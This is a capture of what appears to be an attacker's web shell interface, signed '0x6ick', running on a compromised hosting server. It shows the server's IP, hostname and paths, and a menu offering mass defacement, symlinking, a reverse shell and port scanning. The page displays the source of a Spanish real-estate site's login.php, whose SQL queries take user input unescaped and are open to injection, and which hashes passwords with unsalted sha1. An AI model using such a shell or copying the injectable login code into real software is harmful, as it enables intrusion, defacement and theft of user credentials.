Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
inmobiliaria
/
Viewing: login.php
<?php session_start(); include("config.php"); $error=""; $msg=""; $rawNext = isset($_GET['next']) ? $_GET['next'] : ''; $rawNext = str_replace(array("\r","\n"), '', $rawNext); $rawNext = ltrim($rawNext, '/'); $adminRequested = (!empty($rawNext) && strpos($rawNext, 'admin/') === 0); $adminNext = 'admin/dashboard.php'; if($adminRequested) { if(!empty($rawNext) && strpos($rawNext, '..') === false && !preg_match('#^\s*(?:https?:)?//#i', $rawNext)) { $adminNext = $rawNext; } } if(isset($_SESSION['auser'])) { header('Location: ' . $adminNext); exit; } if(isset($_SESSION['uemail']) && !$adminRequested) { header('Location: index.php'); exit; } if(isset($_REQUEST['login'])) { $identity = isset($_REQUEST['email']) ? trim($_REQUEST['email']) : ""; $passRaw = isset($_REQUEST['pass']) ? $_REQUEST['pass'] : ""; $pass= sha1($passRaw); if(!empty($identity) && !empty($passRaw)) { $isEmail = filter_var($identity, FILTER_VALIDATE_EMAIL); $adminRow = null; $userRow = null; if($isEmail) { $sqlUser = "SELECT * FROM user where uemail='$identity' && upass='$pass'"; $resultUser = mysqli_query($con, $sqlUser); $userRow = mysqli_fetch_array($resultUser); if(!$userRow) { $sqlAdmin = "SELECT auser, aemail FROM admin WHERE (auser='$identity' OR aemail='$identity') AND apass='$pass'"; $resultAdmin = mysqli_query($con,$sqlAdmin); if(mysqli_num_rows($resultAdmin) == 1) { $adminRow = mysqli_fetch_array($resultAdmin); } } } else { $sqlAdmin = "SELECT auser, aemail FROM admin WHERE (auser='$identity' OR aemail='$identity') AND apass='$pass'"; $resultAdmin = mysqli_query($con,$sqlAdmin); if(mysqli_num_rows($resultAdmin) == 1) { $adminRow = mysqli_fetch_array($resultAdmin); } else { $sqlUser = "SELECT * FROM user where uemail='$identity' && upass='$pass'"; $resultUser = mysqli_query($con, $sqlUser); $userRow = mysqli_fetch_array($resultUser); } } if($adminRow) { $_SESSION['auser']=$adminRow['auser']; unset($_SESSION['uid']); unset($_SESSION['uemail']); $next = $adminNext; header('Location: ' . $next); exit; } else if($userRow) { $_SESSION['uid']=$userRow['uid']; $_SESSION['uemail']=$userRow['uemail']; unset($_SESSION['auser']); header('Location: index.php'); exit; } else { $error = "<p class='alert alert-warning'>¡El correo o la contraseña no coinciden!</p> "; } }else{ $error = "<p class='alert alert-warning'>Por favor complete todos los campos</p>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Meta Tags --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <link rel="shortcut icon" type="image/png" href="images/logo/logo.png"> <!-- Fonts ========================================================--> <link href="https://fonts.googleapis.com/css?family=Muli:400,400i,500,600,700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Comfortaa:400,700" rel="stylesheet"> <!-- Css Link ========================================================--> <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="css/bootstrap-slider.css"> <link rel="stylesheet" type="text/css" href="css/jquery-ui.css"> <link rel="stylesheet" type="text/css" href="css/layerslider.css"> <link rel="stylesheet" type="text/css" href="css/color.css"> <link rel="stylesheet" type="text/css" href="css/owl.carousel.min.css"> <link rel="stylesheet" type="text/css" href="css/font-awesome.min.css"> <link rel="stylesheet" type="text/css" href="fonts/flaticon/flaticon.css"> <link rel="stylesheet" type="text/css" href="css/style.css"> <link rel="stylesheet" type="text/css" href="css/login.css"> <!-- FOR MORE PROJECTS visit: codeastro.com --> <!-- Title =========================================================--> <title>Inmobiliaria PHP</title> </head> <body> <!-- Page Loader ============================================================= <div class="page-loader position-fixed z-index-9999 w-100 bg-white vh-100"> <div class="d-flex justify-content-center y-middle position-relative"> <div class="spinner-border" role="status"> <span class="sr-only">Loading...</span> </div> </div> </div> --> <div id="page-wrapper"> <div class="row"> <!-- Header start --> <?php include("include/header.php");?> <!-- Header end --> <!-- Banner ---> <!-- <div class="banner-full-row page-banner" style="background-image:url('images/breadcromb.jpg');"> <div class="container"> <div class="row"> <div class="col-md-6"> <h2 class="page-name float-left text-white text-uppercase mt-1 mb-0"><b>Login</b></h2> </div> <div class="col-md-6"> <nav aria-label="breadcrumb" class="float-left float-md-right"> <ol class="breadcrumb bg-transparent m-0 p-0"> <li class="breadcrumb-item text-white"><a href="#">Home</a></li> <li class="breadcrumb-item active">Login</li> </ol> </nav> </div> </div> </div> </div> --> <!-- Banner ---> <style> * { box-sizing: border-box; } body { background: #f8fafc; } #page-wrapper { overflow: visible !important; } .auth-page { min-height: 100vh; display: flex; align-items: stretch; font-family: 'Inter', 'Muli', sans-serif; padding-top: 0; } /* Left panel */ .auth-left { width: 45%; background: linear-gradient(145deg, #1e1b4b 0%, #312e81 40%, #4f46e5 100%); display: flex; flex-direction: column; justify-content: center; align-items: flex-start; padding: 60px 56px; position: relative; overflow: hidden; } .auth-left::before { content: ''; position: absolute; top: -120px; right: -120px; width: 400px; height: 400px; background: rgba(255,255,255,0.05); border-radius: 50%; } .auth-left::after { content: ''; position: absolute; bottom: -80px; left: -80px; width: 300px; height: 300px; background: rgba(255,255,255,0.04); border-radius: 50%; } .auth-left .brand-logo { margin-bottom: 48px; position: relative; z-index: 1; } .auth-left .brand-logo img { max-height: 48px; filter: brightness(0) invert(1); } .auth-left .auth-headline { font-size: 36px; font-weight: 800; color: #fff; line-height: 1.25; margin-bottom: 16px; position: relative; z-index: 1; } .auth-left .auth-headline span { color: #a5b4fc; } .auth-left .auth-desc { font-size: 15px; color: rgba(255,255,255,0.65); line-height: 1.7; margin-bottom: 48px; position: relative; z-index: 1; max-width: 340px; } .auth-left .auth-features { list-style: none; padding: 0; margin: 0; position: relative; z-index: 1; } .auth-left .auth-features li { display: flex; align-items: center; gap: 12px; color: rgba(255,255,255,0.8); font-size: 14px; font-weight: 500; margin-bottom: 14px; } .auth-left .auth-features li .feat-icon { width: 32px; height: 32px; background: rgba(255,255,255,0.12); border-radius: 9px; display: flex; align-items: center; justify-content: center; font-size: 14px; color: #a5b4fc; flex-shrink: 0; } /* Right panel */ .auth-right { flex: 1; display: flex; align-items: center; justify-content: center; padding: 60px 40px; background: #fff; } .auth-form-wrap { width: 100%; max-width: 420px; } .auth-form-wrap .form-header { margin-bottom: 32px; } .auth-form-wrap .form-header .form-badge { display: inline-flex; align-items: center; gap: 6px; background: #eef2ff; color: #4f46e5; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1.2px; padding: 5px 12px; border-radius: 50px; margin-bottom: 14px; } .auth-form-wrap .form-header h2 { font-size: 28px; font-weight: 800; color: #0f172a; margin-bottom: 6px; line-height: 1.2; } .auth-form-wrap .form-header p { font-size: 14px; color: #64748b; margin: 0; } /* Alerts */ .auth-alert-success { background: #d1fae5; color: #065f46; border: 1px solid #a7f3d0; border-radius: 10px; padding: 12px 16px; font-size: 13.5px; font-weight: 500; margin-bottom: 20px; display: flex; align-items: center; gap: 8px; } .auth-alert-error { background: #fee2e2; color: #991b1b; border: 1px solid #fca5a5; border-radius: 10px; padding: 12px 16px; font-size: 13.5px; font-weight: 500; margin-bottom: 20px; display: flex; align-items: center; gap: 8px; } /* Form fields */ .auth-field { margin-bottom: 18px; } .auth-field label { display: block; font-size: 13px; font-weight: 600; color: #374151; margin-bottom: 7px; } .auth-field .input-wrap { position: relative; } .auth-field .input-wrap .input-icon { position: absolute; left: 14px; top: 50%; transform: translateY(-50%); color: #94a3b8; font-size: 15px; pointer-events: none; } .auth-field .input-wrap input { width: 100%; border: 1.5px solid #e2e8f0; border-radius: 12px; padding: 12px 14px 12px 42px; font-size: 14px; color: #0f172a; background: #f8fafc; transition: all 0.25s ease; outline: none; font-family: inherit; } .auth-field .input-wrap input:focus { border-color: #4f46e5; background: #fff; box-shadow: 0 0 0 4px rgba(79,70,229,0.10); } .auth-field .input-wrap input::placeholder { color: #94a3b8; } /* Role selector */ .role-selector { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin-bottom: 18px; } .role-option input[type="radio"] { display: none; } .role-option label { display: flex; flex-direction: column; align-items: center; gap: 6px; padding: 12px 8px; border: 1.5px solid #e2e8f0; border-radius: 12px; cursor: pointer; transition: all 0.25s ease; background: #f8fafc; font-size: 12px; font-weight: 600; color: #64748b; text-align: center; } .role-option label i { font-size: 18px; color: #94a3b8; transition: all 0.25s ease; } .role-option input[type="radio"]:checked + label { border-color: #4f46e5; background: #eef2ff; color: #4f46e5; } .role-option input[type="radio"]:checked + label i { color: #4f46e5; } /* File upload */ .file-upload-area { border: 1.5px dashed #c7d2fe; border-radius: 12px; padding: 20px; text-align: center; background: #f8fafc; cursor: pointer; transition: all 0.25s ease; margin-bottom: 18px; position: relative; } .file-upload-area:hover { border-color: #4f46e5; background: #eef2ff; } .file-upload-area input[type="file"] { position: absolute; inset: 0; opacity: 0; cursor: pointer; width: 100%; height: 100%; } .file-upload-area .upload-icon { font-size: 24px; color: #a5b4fc; margin-bottom: 8px; display: block; } .file-upload-area p { font-size: 13px; color: #64748b; margin: 0; font-weight: 500; } .file-upload-area span { font-size: 11px; color: #94a3b8; } /* Submit button */ .btn-auth-submit { width: 100%; padding: 14px; background: linear-gradient(135deg, #4f46e5 0%, #7c3aed 100%); color: #fff; border: none; border-radius: 12px; font-size: 15px; font-weight: 600; cursor: pointer; transition: all 0.3s ease; display: flex; align-items: center; justify-content: center; gap: 10px; box-shadow: 0 4px 14px rgba(79,70,229,0.35); margin-top: 4px; font-family: inherit; } .btn-auth-submit:hover { transform: translateY(-2px); box-shadow: 0 8px 24px rgba(79,70,229,0.45); } /* Divider */ .auth-divider { display: flex; align-items: center; gap: 12px; margin: 22px 0; } .auth-divider::before, .auth-divider::after { content: ''; flex: 1; height: 1px; background: #e2e8f0; } .auth-divider span { font-size: 12px; color: #94a3b8; font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; } /* Footer link */ .auth-footer-link { text-align: center; font-size: 14px; color: #64748b; } .auth-footer-link a { color: #4f46e5; font-weight: 600; text-decoration: none; } .auth-footer-link a:hover { text-decoration: underline; } @media (max-width: 900px) { .auth-left { display: none; } .auth-right { padding: 40px 24px; } } </style> <div class="auth-page"> <!-- Left branding panel --> <div class="auth-left"> <div class="brand-logo"> <img src="images/logo/logo.png" alt="Logo"> </div> <h2 class="auth-headline">Bienvenido de <span>vuelta</span></h2> <p class="auth-desc">Accede a tu cuenta para gestionar propiedades, conectar con clientes y hacer crecer tu negocio inmobiliario.</p> <ul class="auth-features"> <li><div class="feat-icon"><i class="fas fa-home"></i></div> Miles de propiedades disponibles</li> <li><div class="feat-icon"><i class="fas fa-shield-alt"></i></div> Plataforma segura y confiable</li> <li><div class="feat-icon"><i class="fas fa-map-marker-alt"></i></div> Cobertura en toda Colombia</li> <li><div class="feat-icon"><i class="fas fa-headset"></i></div> Soporte profesional 24/7</li> </ul> </div> <!-- Right form panel --> <div class="auth-right"> <div class="auth-form-wrap"> <div class="form-header"> <div class="form-badge"><i class="fas fa-lock" style="font-size:9px;"></i> Acceso Seguro</div> <h2>Iniciar Sesión</h2> <p>Ingresa tus credenciales para continuar</p> </div> <?php if(!empty($error)): ?> <div class="auth-alert-error"><i class="fas fa-exclamation-circle"></i> <?php echo strip_tags($error); ?></div> <?php endif; ?> <?php if(!empty($msg)): ?> <div class="auth-alert-success"><i class="fas fa-check-circle"></i> <?php echo strip_tags($msg); ?></div> <?php endif; ?> <form method="post"> <div class="auth-field"> <label>Correo o Usuario</label> <div class="input-wrap"> <i class="fas fa-user input-icon"></i> <input type="text" name="email" placeholder="tu@correo.com" required> </div> </div> <div class="auth-field"> <label>Contraseña</label> <div class="input-wrap"> <i class="fas fa-lock input-icon"></i> <input type="password" name="pass" placeholder="Tu contraseña" required> </div> </div> <button type="submit" name="login" value="Login" class="btn-auth-submit"> <i class="fas fa-sign-in-alt"></i> Iniciar Sesión </button> </form> <div class="auth-divider"><span>¿Nuevo aquí?</span></div> <p class="auth-footer-link">¿No tienes cuenta? <a href="register.php">Crear cuenta gratis</a></p> </div> </div> </div> <!-- Footer start--><!-- FOR MORE PROJECTS visit: codeastro.com --> <?php include("include/footer.php");?> <!-- Footer start--> <!-- Scroll to top --> <a href="#" class="bg-secondary text-white hover-text-secondary" id="scroll"><i class="fas fa-angle-up"></i></a> <!-- End Scroll To top --> </div> </div> <!-- Wrapper End --> <!-- Js Link ============================================================--> <script src="js/jquery.min.js"></script> <!--jQuery Layer Slider --> <script src="js/greensock.js"></script> <script src="js/layerslider.transitions.js"></script> <script src="js/layerslider.kreaturamedia.jquery.js"></script> <!--jQuery Layer Slider --> <script src="js/popper.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/owl.carousel.min.js"></script> <script src="js/tmpl.js"></script> <script src="js/jquery.dependClass-0.1.js"></script> <script src="js/draggable-0.1.js"></script> <script src="js/jquery.slider.js"></script> <script src="js/wow.js"></script> <script src="js/custom.js"></script> </body> </html>
Coded With 💗 by
0x6ick